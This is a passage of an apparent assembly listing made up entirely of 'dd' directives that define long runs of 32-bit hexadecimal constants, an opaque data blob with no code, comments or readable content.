		dd 36D00372h, 92C283BBh, 0C253D886h, 1ED7ABA4h,	7B67E418h
		dd 0F0797BD4h, 916A87F5h, 1D1271E7h, 0B3AA9AE8h, 1BBDBA53h
		dd 0B5C7A0DDh, 488BAF02h, 6BA6228Dh, 920B8B84h,	4C31A982h
		dd 578F3016h, 5A6FE21Fh, 0CA45A86Ah, 0F764735Fh, 0C9C23A19h
		dd 0D5C65311h, 76B52B96h, 55545F3Bh, 0D31FB19Bh, 4BA2682Ah
		dd 8DE39D8Dh, 8F01FF02h, 0F7FE8B12h, 0CBAD2713h, 5591AFC0h
		dd 0B035456Fh, 164F1BA3h, 9DBAAD54h, 7671F713h,	91F5E7F0h
		dd 3CE97796h, 8DA2A682h, 0A16CC5ACh, 95331BC1h,	0A4010263h
		dd 0A11EDAFDh, 2E2A6073h, 8CDFD885h, 96BB60D3h,	9FEE2954h
		dd 2A2ED45h, 355E04DBh,	6FB891E5h, 57F482EAh, 5EC5D2B2h
		dd 3994A44Dh, 0DF4D4B73h, 12BCB6C6h, 7DD2434h, 0C5A4780Eh
		dd 13ACA49Eh, 0A1892D62h, 16D4D0B5h, 4D52ECFEh,	0B8762E89h
		dd 0FEDEC1B6h, 3E08BC89h, 0BB6046B0h, 0A2F96F93h, 27492FF0h
		dd 2A4BE4B1h, 0A08A6CBCh
		dd 2AF9A647h, 0FB35E28h, 2E982ED1h, 0D1DAA17Bh,	653A4928h
		dd 6BC421F7h, 0C4BB1B67h, 339BC18Eh, 3F760067h,	0ED812D52h
		dd 4C5AB756h, 0FF11E067h, 7378BC85h, 5BB05C6Eh,	0F8430E3Ch
		dd 3B407C2Ch, 4D2DF03Fh, 0A5AD1866h, 0D9F7EF7Ch, 0E65AB2CAh
		dd 540637B0h, 95A25A8Bh, 80CD43E6h, 6DF90DF6h, 4CFA9D3Ah
		dd 39DAF75Ah, 0DEE3DFCCh, 0CA75DF78h, 8B06C535h, 0A8256A36h
		dd 0FC1EA2A8h, 0F7775AE9h, 0F3BD4420h, 8785D83Eh, 0D5F3D38Bh
		dd 0C1A64BA6h, 55064682h, 0EDF74317h, 0FDA46A5Eh, 9FB86113h
		dd 1B2ACCBBh, 656AAECDh, 0BF89FA49h, 0D909D191h, 487E1EF1h
		dd 0C87A2BD9h, 0EE74320Dh, 0F2A8F0D0h, 0B2EB76C7h, 5AA755F3h
		dd 7BE588EEh, 867281ECh, 88B90B8h, 0FC5F57D3h, 0AC7BF435h
		dd 7B886A0Ah, 0DC8272E1h, 0F3DE7CECh, 6758A768h, 0D36BA75Ah
		dd 9C3D44BCh, 8AF9CA02h, 0A4E76E5Bh, 7CA7B57Eh,	3E53E55h
		dd 0C746123Dh, 9BC05A38h, 596C8F97h, 1D7BFFA0h,	0FEA2F5E4h
		dd 577D5017h, 0FEA5A6B6h, 0E3E59430h, 74F9B21Ah, 0BE885F52h
		dd 0C7A1D734h, 0A6CECF0Bh, 0D059130Fh, 0D6955AAAh, 9EB1B995h
		dd 57944AE8h, 0C2CC729Eh, 267F5157h, 0B228D7EFh, 0D72717DFh
		dd 0FAD635CDh, 0BE28337Ah, 0B4C0E4DBh, 3C97DFEEh, 6D625C2Ch
		dd 73A87EE3h, 0D0C4D9A4h, 309D66D0h, 0FD3C3B27h, 8DDA5AAh
		dd 0ED65772Ah, 0DE95F714h, 0E3BA9B38h, 7AE0B62h, 0D7527C82h
		dd 0DE296D5Ch, 5D7DA0EEh, 79FE68EBh, 636374E0h,	0FF63CDC5h
		dd 59D91B44h, 0AD79E0A0h, 217124D7h, 8AFEA35Ah,	34A1D513h
		dd 0C76607CFh, 0AA526FEFh, 0A5CFA05h, 8F5C5077h, 37EB8E5Bh
		dd 237D7442h, 0FDA2A4E9h, 0B3BFB76Ah, 8EDC4D35h, 21ECC076h
		dd 9D5ABC5h, 308F9D8Fh,	61CD0205h, 0D7D205FFh, 980B6A40h
		dd 6A85FDF9h, 0D76D4E8Fh, 2E10B21Ch, 0AD9B2982h, 2A6896BEh
		dd 99FFC813h, 7125B0Eh,	0F39685DAh, 6E69CCD4h, 5E6F8C6Fh
		dd 88D18508h, 0C246EA1Fh, 0A6075FC2h, 0FE65AF5Eh, 9AF785D9h
		dd 77E364EFh, 4E3773A8h, 0CEDA3CCCh, 5DC09D15h,	6C58FB6h
		dd 0E5A764A8h, 5019DE07h, 71203E17h, 0EFC6E8C6h, 0AF49A89Fh
		dd 0BB73E70Eh, 0C32EDE4Fh, 0A2CBA47Ah, 531591BFh, 5F2912AEh
		dd 0F9C01811h, 9A3B5393h, 5C0CF8E9h, 0E34F7E75h, 4AFC28D6h
		dd 3EA4FF78h, 17C7B7A6h, 6BAEF8BAh, 3D6A6FB6h, 0F4336A9Ah
		dd 0EADCFF6Bh, 0E858A581h, 2B622736h, 0E0E4FF5Eh, 0A9011988h
		dd 0D6B5246Fh, 4659115Ch, 0BC565875h, 7D156122h, 52504B04h
		dd 0CE411BF3h, 0C473ACAAh, 6A22E1DDh, 4425933Fh, 0E07F3B70h
		dd 0C7DE95B2h, 0B369182Bh, 23622C05h, 33C0E3AAh, 4D23DB57h
		dd 431B79h, 2C9DAB62h, 2FDB13C2h, 0F71662C3h, 0A4125B3Dh
		dd 0A7CADD95h, 0ADAF231Ch, 0BC5B1657h, 0AF5935E8h, 7F40130Eh
		dd 0FAE18AD5h, 1F02F3A1h, 72AAE55Ch, 957AADE9h,	0CCD7AB1Bh
		dd 63054075h, 0A6CA4693h, 0AFF4756Bh, 29FDE46Ah, 84D0AA5Ah
		dd 0C70EB75Fh, 27DCAF07h, 101EFBF0h, 0AA9A4DC6h, 0BDC167FCh
		dd 1A2CABA0h, 0E86AE446h, 0EC43FC71h, 73BA05B1h, 0B5EBED5Fh
		dd 0DF75EB0Bh, 0E0EA3409h, 0A2127BD6h, 0AB0EDC6Ah, 4FFB575Fh
		dd 8299067Ah, 0A46887BEh, 0DB471446h, 0F8DE6869h, 0F2F8F1CAh
		dd 9B9A12DAh, 7734723Fh, 29F769Dh, 40B5883Eh, 1FF6C153h
		dd 0BEE0ECEEh, 3F08FBB6h, 0FEF5DA7h, 0F3E24728h, 8FE110E3h
		dd 523E9FEDh, 6E76D66Eh, 529AE80Dh, 0F15A2F13h,	5990B5A2h
		dd 6A9237D2h, 502BF355h, 7C5C85D3h, 0F23E6AE5h,	3E5708A3h
		dd 0D9A9B1EFh, 0A91DB952h, 0EA275053h, 28DFF2Bh, 8F47453h
		dd 0BBC3A9D3h, 9909CFCCh, 40E7E2BFh, 0F0A07A53h, 43F9C068h
		dd 0FF7BD1E6h, 9BAB5892h, 0D68E278Ah, 4B1D0309h, 0FFBAD6FAh
		dd 2B39EE7Fh, 61511B6h,	0D42DCF94h, 7EC2928Eh, 1E1E1B6Ch
		dd 0C794CCAEh, 0B78D5FD6h, 181DE85h, 55C28B6h, 0B1773D07h
		dd 0F62098ABh, 761E41E6h, 0D41CF949h, 0C319E1AAh, 40B70FDAh
		dd 87E093FFh, 0B0203728h, 0BCDD2358h, 0D574C0FAh, 0BF5D4E5Ch
		dd 2B462535h, 7BE69BE3h, 50F0A121h, 56DD85A5h, 0E5D7ACDCh
		dd 45CB4B76h, 14F85D52h, 564CCE94h, 0DDA7AC5h, 7CB74AB8h
		dd 0C82313h, 0CAFF8957h, 0EB24E49Eh, 4FBE6154h,	1CF3CDD4h
		dd 4A4D9B85h, 259E216Dh, 2BFB1F29h, 2EF52919h, 677B5261h
		dd 8CC9D9D5h, 987380EAh, 0F61468E6h, 0BBE3490Fh, 676A1B09h
		dd 0A1FC8345h, 5D0FEE11h, 80920FC3h, 69288F4Dh,	0DD3E32A6h
		dd 0F8979804h, 15114AEh, 3C9CE8E3h, 0E251B44Ah,	0D12EAA62h
		dd 393CD9BDh, 0CBF7C5FCh, 0FCF424B6h, 2AD5E0BFh, 878FD6ADh
		dd 72AAF607h, 1B2399EFh, 0FCE2E213h, 0C33268B7h, 84EA7B45h
		dd 0F8654149h, 0DF8D50FEh, 0F91A1435h, 55D450F5h, 0A6CFC339h
		dd 57C11E4Ch, 61C64D47h, 5AE03496h, 5B9CBB5Dh, 0BB4FFAA3h
		dd 0CD9E7D0Eh, 0E0F304D9h, 0BBF307F8h, 3F1FE380h, 0EA62858Ch
		dd 0B5493349h, 0F5BEE66Bh, 0F715E8CDh, 4FF41D07h, 492DA589h
		dd 0D44E4776h, 0B2AB5FA3h, 0E9BDBBC2h, 23870A10h, 7F560670h
		dd 2EC0C60h, 9F951E96h,	0A5891F3Fh, 10B8A375h, 7E6BABh
		dd 0F0672FA3h, 0DA9ACF50h, 8BADE730h, 0E92E9BE5h, 5895F252h
		dd 4FB9DDB9h, 0DB394462h, 0F63D3A41h, 0BECB7EFh, 25DABC5Dh
		dd 7B1F3BE4h, 1EA991E0h, 81AC2AFFh, 0AFB58B8Bh,	4C3ABE7Ch
		dd 8073D28Dh, 0AACCE6DAh, 0FF33D1C7h, 0B70AF7AEh, 0A6D7EFBEh
		dd 55FA2E4Ah, 59D841ADh, 54E56BC0h, 898AD0C0h, 0BAD95A1Fh
		dd 93C5541Ah, 0A9DD4169h, 467509EAh, 88D65F0h, 0A1DA1EF5h
		dd 77E8E691h, 0F2C2313Ch, 0FCA653DBh, 9592C69Eh, 1F1CF688h
		dd 0BEAB976Ah, 0F6B45FDEh, 3103E671h, 7CCBD5D7h, 0DD0559AFh
		dd 831A9A5Fh, 5F01B8F3h, 8F898D7Eh, 52EACC9Eh, 755B2E55h
		dd 0C73EA9E8h, 3716F451h, 2F53F37Ch, 35A2F9A1h,	0B04BEA03h
		dd 4B78558Bh, 1BAB1565h, 4FBDEB59h, 1F657377h, 6572A77Dh
		dd 52656FFh, 682ACDBCh,	45F96E0Bh, 6B69EAC5h, 624E5435h
		dd 0CCAFCC65h, 7A218DCBh, 7F8CBC21h, 9BF564FDh,	0BBE33AFh
		dd 74E6B3C6h, 532F1E40h, 5C0EA5C0h, 0F97F94A9h,	51E6C18Eh
		dd 3B40BF6Bh, 1B2BEA96h, 808B5528h, 0E35C0D53h,	1A5744CFh
		dd 0E2BF4589h, 5FE83C92h, 0AF2116DBh, 8C82CC52h, 0AB731FA6h
		dd 0D5CED494h, 2D458EF5h, 7BAB572Eh, 1C811418h,	0FAD1B3D5h
		dd 1D8CF0D5h, 5002E558h, 2048E698h, 0C02ED825h,	0F98E3E9Eh
		dd 25A2FF69h, 815AAE07h, 9EE217Dh, 6985DA5Dh, 8AAEFD73h
		dd 0DA56E1Fh, 0D94E61Bh, 0A3007771h, 0A73DA46h,	0A0F0BFB5h
		dd 76FEF435h, 0C9422B6Fh, 0B8836595h, 0EAAB8562h, 0BB595CBEh
		dd 77BF9AE8h, 0E3543541h, 2EED485h, 7D8C8A1Dh, 0A33517D7h
		dd 49045C90h, 1EA12555h, 5307151Dh, 2239773Fh, 0D68FD1C2h
		dd 12912754h, 0C3A820B8h, 0D56ACB17h, 0D2AEFA64h, 7FB4C178h
		dd 0EE07A362h, 82D69E8Ch, 0F5A99145h, 76F8BC2Bh, 550F0169h
		dd 74BDCA55h, 6EDC9A8Dh, 814458D7h, 3B332F60h, 0C5AB1277h
		dd 0CB221D4Dh, 9B341559h, 0BE699861h, 0B4BFE7BEh, 87CF115Bh
		dd 0BE29705Fh, 6E248F49h, 42FB7923h, 0B8D2DCDFh, 7CA5C469h
		dd 9023E5B5h, 0EE6C4BACh, 0E9596EF1h, 0B23F76A3h, 0F9A87DA5h
		dd 0AFCD8A50h, 0BAFD0485h, 0BF8F0B95h, 12E02C9Ch, 0E2E1D75Bh
		dd 0D160F0E1h, 0E74386A8h, 7C812BE0h, 0EFAECF5Ch, 0DD5F7C73h
		dd 0B52A50C4h, 0FDF2DAD9h
		dd 8F831E8Bh, 7D1446Ah,	9B9AC7A2h, 2513DAC3h, 0E969F67Eh
		dd 59CBF069h, 51702D11h, 1DF6CCADh, 0EBA06A3Fh,	0C0F2D67Ch
		dd 0FE9F0118h, 8A0377F7h, 0CEBCF9EBh, 4C7268E5h, 3120F447h
		dd 0A7A32AA0h, 0EF44228Dh, 7E63AAB8h, 7F1BF3B6h, 1EC3DB75h
		dd 7FCF33E0h, 0F8AC5484h, 3470D1C0h, 79983D78h,	4BFEBFABh
		dd 5CCAAD55h, 797AE34h,	0EEDBA46Dh, 8E128653h, 0CC69D8B7h
		dd 4C040C6Eh, 2A5D745Ah, 1340F731h, 55F64764h, 8FBB5029h
		dd 0A5F86E33h, 0DC035227h, 3A8F1ED8h, 35DAE952h, 4A9AF63h
		dd 0CB2268F5h, 84A042DBh, 0E7B936E3h, 3F5A495Ah, 0FF07664Ah
		dd 0EAEE3F2Ah, 66C170Eh, 81F89BEBh, 7B3DA35Bh, 9F5146A5h
		dd 4B4362F9h, 70703AB0h, 1C33FB9Dh, 7E03F076h, 7D0B9318h
		dd 7D9EB6FEh, 981EE23Ah, 376AD1A7h, 0B8D22C1Ah,	0AAF37EA6h
		dd 1F7F1055h, 0A476B03Ch, 4E6DAFCFh, 458C146Bh,	5474BCBh
		dd 98175554h, 0F5A97D97h, 29547B6Ah, 0A3BDB7B0h, 0EB9FDD0Ch
		dd 420AA247h, 0D5E6657Dh, 2D1B36E3h, 0D700A8E7h, 0BE057AE6h
		dd 7447A2DCh, 2CCDA67h,	76E00D62h, 592FA461h, 57974EECh
		dd 765D6E71h, 4EBE1AD1h, 36D95E1Dh, 6F142C53h, 7B6D56F2h
		dd 15B9C557h, 1EAF455Fh, 0C0475743h, 0F1E2BEA2h, 47D54571h
		dd 9694C3B3h, 54AE4425h, 2A9DA904h, 752AD779h, 5DF1416Fh
		dd 0AAEFF733h, 0A917448Ch, 7F163744h, 68D495F9h, 3FEF7543h
		dd 3C2B37F5h, 0E522F6D3h, 84F98FF4h, 6AA1843Ah,	9D85CD5Eh
		dd 4509B4EAh, 1535FC6h,	80AF49BDh, 5ABAF7DCh, 539C6377h
		dd 8B64DCF6h, 6EFCE47h,	2EEFC69Dh, 0EFB60519h, 7793BA5Fh
		dd 5CF23160h, 675F5FA8h, 27774C19h, 0D842405Bh,	0AD56A0E0h
		dd 88CFF79Ch, 0E10E2A76h, 35F56679h, 5F0798B5h,	0F5A0E4A9h
		dd 0B2805425h, 0B1B93EE6h, 0BC6E73F9h, 373D78CAh, 4E197033h
		dd 4EFAE2E0h, 0EFA4F022h, 7E6FF444h, 0B97C3019h, 3B035845h
		dd 57B41F54h, 0F9F9C8EDh, 2D4BD650h, 30456756h,	3D934617h
		dd 5492532Ch, 0C94D8DD5h, 0F3EA4E7Ch, 0F64732DDh, 0BBAECC15h
		dd 0EA85C3FEh, 0F060AF29h, 0E111FE95h, 0AD0F2E46h, 23C75F9Bh
		dd 0C3F46DF5h, 6092F0B8h, 49A3C0D5h, 9F5ABAFEh,	72FCFA6Ah
		dd 8BA99E6Fh, 0ACD08512h, 0AD05CE74h, 6FF78E4h,	4AD99709h
		dd 0AEE266AEh, 3D76CD0Ah, 1A73625Ah, 0EEAB2522h, 72BCB35Ah
		dd 1D925A2Ch, 0F0FB23E0h, 1062C443h, 0EDEDEDD8h, 0CFC46EA0h
		dd 69F796D7h, 0BCFC5D86h, 0D9D8F6D1h, 0CEE4A908h, 7DFA21BEh
		dd 12B20A89h, 0BECF2DBAh, 47E02712h, 18ED905Fh,	6778A497h
		dd 5A9F48DDh, 59DF7EE2h, 0D3A8DEFDh, 491BA3CAh,	68489F8Dh
		dd 781EE97Dh, 6C599923h, 9974771Ah, 40D756Ah, 0FBC9C74Fh
		dd 996E77E0h, 63FB68A5h, 0F8A3A345h, 0F5855D4Bh, 1BDCBDBBh
		dd 83174193h, 39EFF5CEh, 0AD736108h, 3304BC6Dh,	19C6287Eh
		dd 67D1EAB6h, 9B49253h,	5F0E6559h, 775B9E39h, 0AAE6B789h
		dd 7C85BAA8h, 6AD5F10Fh, 62F9BA12h, 748D6D42h, 6BF06E57h
		dd 0AFA06256h, 0F721C6FEh, 58D02BCAh, 0A125FED3h, 0BDA92501h
		dd 50FC4DEDh, 0E45166AFh, 28BA0DE5h, 0C9AD49F2h, 0EEBD5B5Fh
		dd 4A074B03h, 0C676EDAEh, 0B4808BFDh, 0D4AECCE1h, 5A3EA334h
		dd 8C19ACB1h, 2993583Eh, 555A5CFAh, 0C985DEC0h,	2B2F2A6Dh
		dd 0E5A72C3h, 1540C528h, 4E921327h, 6F9B15ADh, 4D6B238Ch
		dd 2BB928B9h, 0CC783120h, 9C0F6EC4h, 39F5E67Fh,	0FB199BB5h
		dd 52018CE7h, 9B5042BCh, 0CC763665h, 0DB19409Ch, 8BA85AE7h
		dd 0F96A2400h, 0CB7CAC4Ch, 0FF3D079Ch, 3FAF39FCh, 3A71303Ah
		dd 0A13468A8h, 0CC3F6E74h, 0D6BCE8C8h, 1A07E9FAh, 0B49B937Bh
		dd 4D5A4764h, 84C251B5h, 2690EB87h, 0E99B08D1h,	5D661955h
		dd 5F228469h, 61ADD596h, 45944B60h, 95426DA2h, 8F5DDA7Ah
		dd 0F96F3B8Bh, 1E8AFBFAh, 0A4A37DBAh, 0AEEB34Dh, 0C5D96CFBh
		dd 114DD59Dh, 1C5F6079h, 9C5D0762h, 0B46E8199h,	31CFA62Fh
		dd 0E976420h, 0C38FCA53h, 0D671D14Ah, 0FCDE0886h, 0AB2EA14Bh
		dd 1EFAEF8h, 1914F829h,	9823B35Ah, 0CE1F93FDh, 0A0AFDAF4h
		dd 0DAF464A6h, 0C1848660h, 6D88AA61h, 0F2938ED8h, 0F5BD43EBh
		dd 0A70465F9h, 0F2BB3558h, 6B420C00h, 473BDB8Ah, 431507ADh
		dd 0AE0789BBh, 6DF37B19h, 0E6F23018h, 581FD1A9h, 0E93FC0FFh
		dd 791106DFh, 0C776D62Bh, 1713007Bh, 0BC47557Fh, 1A11B7CEh
		dd 0E456DD89h, 343C2455h, 0DE3DEA3Fh, 6AF5E66h,	9D5FC7EFh
		dd 0D11323EDh, 9886B5FAh, 3363F1BDh, 0BF8ED541h, 34756619h
		dd 0F87E800Bh, 0A51F617Bh, 6DFE0106h, 0A6A2C0F1h, 9A485C1Bh
		dd 9B987755h, 0B2E82365h, 17EFACD3h, 0EF3940DDh, 0A442Ch
		dd 0BC3C59EFh, 0E8CCEF2Fh, 65BC94C5h, 656D349h,	0ECB6981Bh
		dd 7F481E01h, 0E429113Ah, 0BED6E9EEh, 0A8A29FEEh, 74614B72h
		dd 5CCF28F2h, 0C469B97Ch, 71388568h, 0FA069FD0h, 47A926F4h
		dd 0ECDE9B6Dh, 12595563h, 70E9D32Dh, 7AD29DBAh,	0BDF544Eh
		dd 0E0A4B5C2h, 5DC35E87h, 63B573E5h, 0ED2D86E0h, 3C3CC578h
		dd 0AEFA9C3Dh, 0A09CF406h, 85717FB5h, 70A03A87h, 95DDB2C6h
		dd 5FEC6FE2h, 22C0E256h, 7A9B4BC5h, 3725FC2Dh, 2C7D0DC4h
		dd 401E73DBh, 86E4B588h, 0BB45468h, 63C72049h, 0A8F27CAAh
		dd 228F3C8h, 462C45E7h,	3C727D52h, 0B71219B3h, 490CBD21h
		dd 9B7C2EA1h, 0C915D0B6h, 4D5EF81h, 64587DCEh, 0D320E015h
		dd 0BBD90978h, 8F813EFCh, 2C1417F2h, 2338D6Dh, 7FEE35DDh
		dd 7D166D88h, 0A5E880Ah, 5765CEBBh, 83B00E8Eh, 0DD626250h
		dd 957BF079h, 0E8772EC1h, 445BF7B0h, 15F5774h, 71F23B6Eh
		dd 5E54ACDFh, 1CCCE228h, 0EA2A6D16h, 8756F7BAh,	72D118ADh
		dd 0A1316A85h, 0EE811D80h, 9043D0FEh, 0DCC2C3A5h, 9DFDF095h
		dd 0A2C09A0Dh, 0A57F569Ah, 0FAA8BB34h, 331CAB2Bh, 7C1E7C65h
		dd 0BFB389CBh, 56CFA29Fh, 0D552E35Bh, 7E4FEE29h, 75C27525h
		dd 0B039EB47h, 58844ACCh, 0D55489E0h, 0C5982F5Bh, 7642C36Dh
		dd 63F84366h, 88849259h, 217852CDh, 907FB6B6h, 0A53FBBEEh
		dd 3E0FDBF9h, 53F033Dh,	8F438E2Ah, 5ABF1B68h, 0ED0E1569h
		dd 0F24B300Fh, 0BFEBCD7Eh, 0B4D147C2h, 532DBBBBh, 560D49A3h
		dd 56F765F8h, 0B77D3E91h, 0F8E6B593h, 0F634145Bh, 9BAF5255h
		dd 0CCE834EDh, 0DFC4CAC1h, 0E04B7EE5h, 87E33AF7h, 0E5373595h
		dd 0FD4870F9h, 73EAEECAh, 1D4E9B0Ch, 0FBCB73A5h, 1EAFB2E1h
		dd 0D3D554D6h, 4CFF647Ch, 3035D766h, 4DE68E2h, 0DFAFC5FAh
		dd 3C1C27E7h, 786A835Ah, 21596576h, 0ACD13349h,	314552A9h
		dd 0D897F583h, 231513F1h, 0FCA0EBEBh, 0B9D91250h, 0CEC7D51h
		dd 0DFF57AB0h, 0CC05BADBh, 342196B9h, 0F1A8FC1h, 1C587F9Eh
		dd 0A11B08F5h, 0F8508A43h, 53FFFF3Bh, 0DAB7D68Dh, 37A9C6C9h
		dd 4F9DBF73h, 85F2C2C2h, 9F7DF35Ah, 88FD17A8h, 0EA53AA56h
		dd 32A907F0h, 0BBBDDA5Ch, 99A7E6D1h, 655E0BCCh,	0E602DF84h
		dd 0FB789C6Dh, 0CC5A6F44h, 93BED496h, 3BACA0Dh,	4C8F80AFh
		dd 0E7601E19h, 0AB3B7264h, 4CE1D907h, 0F489C9C0h, 0A568F88Dh
		dd 0B32A6216h, 0CEF68207h, 0AE68FBAFh, 2CDFAAB4h, 0CE35F677h
		dd 0BFAF8DD9h, 0B678897Bh, 0C104840Dh, 0F81C2229h, 342C4C4Ch
		dd 8377FE1Ah, 6C648AB2h, 83C45739h, 939ABA1Fh, 0F5811982h
		dd 325FCCD4h, 0AFBFB3D7h, 0AA9B50FDh, 1B658B82h, 5567F345h
		dd 95F681B3h, 1DDC68D3h
		dd 914CAFEBh, 1D78DCCh,	0A707CC3Fh, 2508DC86h, 0E33994F1h
		dd 0D17B9E2Bh, 0D7FA9BF1h, 7DA2181Eh, 0C2B5ED39h, 0FF2FED84h
		dd 0C5135979h, 0CEABB07Dh, 65F557D7h, 0F10692F5h, 0AB254E3Bh
		dd 0E8770BCh, 0D1EDF4C4h, 29BE82BCh, 805EA5EBh,	0F6EF7F7Ah
		dd 6CEA6551h, 58BEA9Dh,	0BB6E15B1h, 106CF126h, 3B4015C0h
		dd 0F81045CBh, 543F677Bh, 0F9865B4Ah, 0D7A013AAh, 0DECCDF25h
		dd 73CB6838h, 0EA217CC0h, 0EE73C5AEh, 1D2BD958h, 13AF3211h
		dd 9658F381h, 9C4637B7h, 0A889B379h, 0CDA3C075h, 5311DEFDh
		dd 87E57B0h, 5302B75Ch,	0AD601EA3h, 0DD9A089Fh,	2F3104C7h
		dd 0FFEFA0F7h, 45BA968Ch, 0A56770F7h, 4AA5B92Dh, 0FC8F176Ah
		dd 0F03725C0h, 0BAA3D26Ah, 5441F70Ch, 9700A755h, 105A58CBh
		dd 607A18C3h, 97CA32A1h, 57B2B6CAh, 930AB6EAh, 0ECAEE96Fh
		dd 81D7480Ah, 6EA11550h, 0F9BBE1B1h, 354575D4h,	25ABE162h
		dd 0D577C0B7h, 0DB71D170h, 5A1535B9h, 0F434CF4Ah, 42B328D1h
		dd 66C16C0Fh, 6D584C8Dh, 5B945797h, 0AFB400AAh,	3FA7096Dh
		dd 68B320B0h, 5366D006h, 0B380F3C0h, 0E9E6C4E6h, 0FA1FDDFEh
		dd 0F5B10E63h, 4EB825F6h, 6D8613CAh, 0D557BF06h, 0EABCD073h
		dd 15A18B2Eh, 5A366h, 1F5A6D86h, 46535644h, 50F388C8h
		dd 457924B5h, 0F412FCC1h, 0FD665B92h, 0B7AC91D8h, 7B1A3960h
		dd 0CF728AE0h, 9A2A09FFh, 22C51AB6h, 11D4EE51h,	9426043Ah
		dd 4FD1B6ABh, 7DB4BB9Dh, 803A17E1h, 8E9E1648h, 0F961CE68h
		dd 0F91A29F7h, 13BF6115h, 4D2CBECDh, 0AA6ADBE1h, 0C3C94BAEh
		dd 0A55EDCCFh, 9695355Ah, 0E5510A99h, 0AF2ABCDh, 5E4111A3h
		dd 3483AAA7h, 1F2AD5DDh, 58097F8Ch, 1531810Bh, 89132A7Fh
		dd 552748C7h, 0F15D77DDh, 0EF5D3BF7h, 9FBF8F6Dh, 33CC7FCCh
		dd 0A7EDD28h, 3C1EF7ECh, 0A79984AAh, 0CF0D5450h, 0A953DDBCh
		dd 6CF62787h, 0FD860CA7h, 0A6D13B25h, 3A9A6DE5h, 85FC22E1h
		dd 1FB24DDBh, 0E98D5BA9h, 541C9B07h, 5C23939Ch,	5E71716h
		dd 0C95A181Fh, 0FB73E373h, 160F2CAEh, 551D2456h, 19A81615h
		dd 1D10D2E1h, 6DB65A27h, 96CF5AFFh, 0A2BBAA18h,	49EFE237h
		dd 0BD6F53B4h, 0C0FA561Dh, 7D34A3C3h, 0CEEE473h, 0D9EE25B6h
		dd 0B30CC50Ah, 0E8DC7E7Fh, 9319BF2Eh, 54333C94h, 0D655A864h
		dd 0EE720247h, 6C5D52FEh, 4FDE36Eh, 0C5B94BC6h,	87B2631h
		dd 4EE73A91h, 16758F44h, 433CABECh, 0ACEE7921h,	5C089780h
		dd 1AD37F9Dh, 0AF384F84h, 865962EFh, 0CD78D82Bh, 0D526D10Eh
		dd 0DA34F83Ch, 0BFD0CF7Ch, 0CE6A67D8h, 0CC4EEA07h, 2231B8FEh
		dd 0ADC22AAEh, 3A6D2D24h, 8B68CA11h, 8D771225h,	68DB9CD9h
		dd 51BCF6F3h, 0BAE99B50h, 300F7A9Fh, 0A0AFE750h, 0E7528AE5h
		dd 0C61F9414h, 0EF1C381Fh, 0F4758A89h, 65D55B4Dh, 3CEAA90Eh
		dd 2CE03896h, 519EE19h,	0DD150D66h, 0AFDD36B9h,	4D8B5AA4h
		dd 8BC37128h, 5EE83E1h,	0B2C8F1FAh, 0B8431F1h, 75ABE547h
		dd 0ED19B86Fh, 8FAAAEA0h, 4C170987h, 397B8073h,	8E905C95h
		dd 4F113B35h, 0D815A24Ch, 3E5FE6A9h, 89F0C58Eh,	8F6BD507h
		dd 1BF69575h, 0CCA345EEh, 8C409605h, 0FF165187h, 3B49FA64h
		dd 805B8F0Ch, 0D01D9F62h, 703E257Fh, 0AE8DC7EEh, 18983D86h
		dd 958CE552h, 5A75621Bh, 0DC5AAE2Bh, 0F0317142h, 0C7B7B0BCh
		dd 16F5D0E3h, 5B51A7B4h, 0E576776Eh, 32622F57h,	0D57B55FCh
		dd 0D5B15C43h, 0C08646BFh, 0EBD68CBBh, 6E259B81h, 0F932844Eh
		dd 0FEFA3358h, 3B021C27h, 0F9B2EE74h, 0CB0B56CFh, 80E0D415h
		dd 77FBCB10h, 9EE1BB58h, 89AA1E87h, 0CE2A92ADh,	0E1E3BFB0h
		dd 0C3F10B22h, 48461CFEh, 1E379D6Eh, 0C652E229h, 940A268Eh
		dd 17D56568h, 0E36677E3h, 6ADEAE9Bh, 3597566Ch,	9B533824h
		dd 8BF95595h, 981E6739h, 6B523A24h, 4BF6DF96h, 1FE97E1Dh
		dd 3ED1EE89h, 45A7FCF8h, 4FCEE5D3h, 1ADCDD94h, 51F64AF7h
		dd 0B82B038Fh, 0F025251Dh, 91050150h, 8F9F7F5Dh, 0EBF6484Ah
		dd 0FA71C5FBh, 4E458C35h, 45BA4506h, 9C871A40h,	0EEFB9317h
		dd 0F1D5E1A4h, 8DB43824h, 0B8B097CBh, 7D610B2Ah, 2461BAFFh
		dd 37DF8EC3h, 742802F8h, 0ABD33945h, 45831577h,	0BF062118h
		dd 28DD462Ch, 75230665h, 0C9A6B355h, 53DF42F5h,	0FEE1E142h
		dd 95EAB6E0h, 0D97E6A15h, 23135199h, 41D13E57h,	0EA6AEC3Ah
		dd 0FDC38DABh, 2A6537E1h, 0A58E5C34h, 774ADE25h, 176B0025h
		dd 160B02B9h, 8AB93B88h, 0D41FE907h, 7E6154Eh, 0D69724B9h
		dd 239B36C3h, 40467A2h,	57FE7F67h, 6BE41931h, 0A65A95A0h
		dd 0F723ED8Eh, 0E4C5291Eh, 0FEA813D7h, 273BF95Bh, 9F765742h
		dd 7217F510h, 9A801416h, 2828603Eh, 0DD5AAC07h,	0F8218AE6h
		dd 2577B477h, 86F38C4Ah, 1E4E7DF0h, 92AB746Dh, 0FF137EFh
		dd 3761CE25h, 0FAB140E4h, 889AA177h, 4DF920FEh,	0F4CBF3CDh
		dd 370E43F0h, 0E5EC2A90h, 0E16125A1h, 0DDF07132h, 21048B6Ch
		dd 0EF8F1C8Fh, 4666E2C6h, 896F4ABh, 0E6954AACh,	9AEB8EF7h
		dd 3CC25851h, 4C826C62h, 2FE8FE0Bh, 3A3AEF9Ah, 637E9A70h
		dd 0A7E5A2E5h, 36413F02h, 8BFDB68Fh, 0BFC996B9h, 469BDE9Eh
		dd 0D4A10609h, 18F20FBEh, 304D81E7h, 7168C294h,	0F62A8511h
		dd 42CECB97h, 0AACEA26Dh, 3094DDABh, 0C2C12408h, 5D2F1D33h
		dd 17EAF59Dh, 0A27EE5FEh, 0B475F7A2h, 0D8E58193h, 0DF376BDh
		dd 0C9F6617h, 0F95AAEB9h, 33451C43h, 0A5D76A26h, 0B51D50C1h
		dd 974897FBh, 31F25AF9h, 781225B2h, 36FEE762h, 13799BC8h
		dd 89D4BCB6h, 0B53B69D6h, 9D0B85D0h, 4E69B535h,	0DC8C3505h
		dd 303C4A11h, 10C3AFDBh, 0D6A38FC6h, 80A0F600h,	9AFA783Dh
		dd 73EB67DAh, 0AADBEE6Eh, 8565D25Ah, 85A3D0D2h,	9A6F7A5Ah
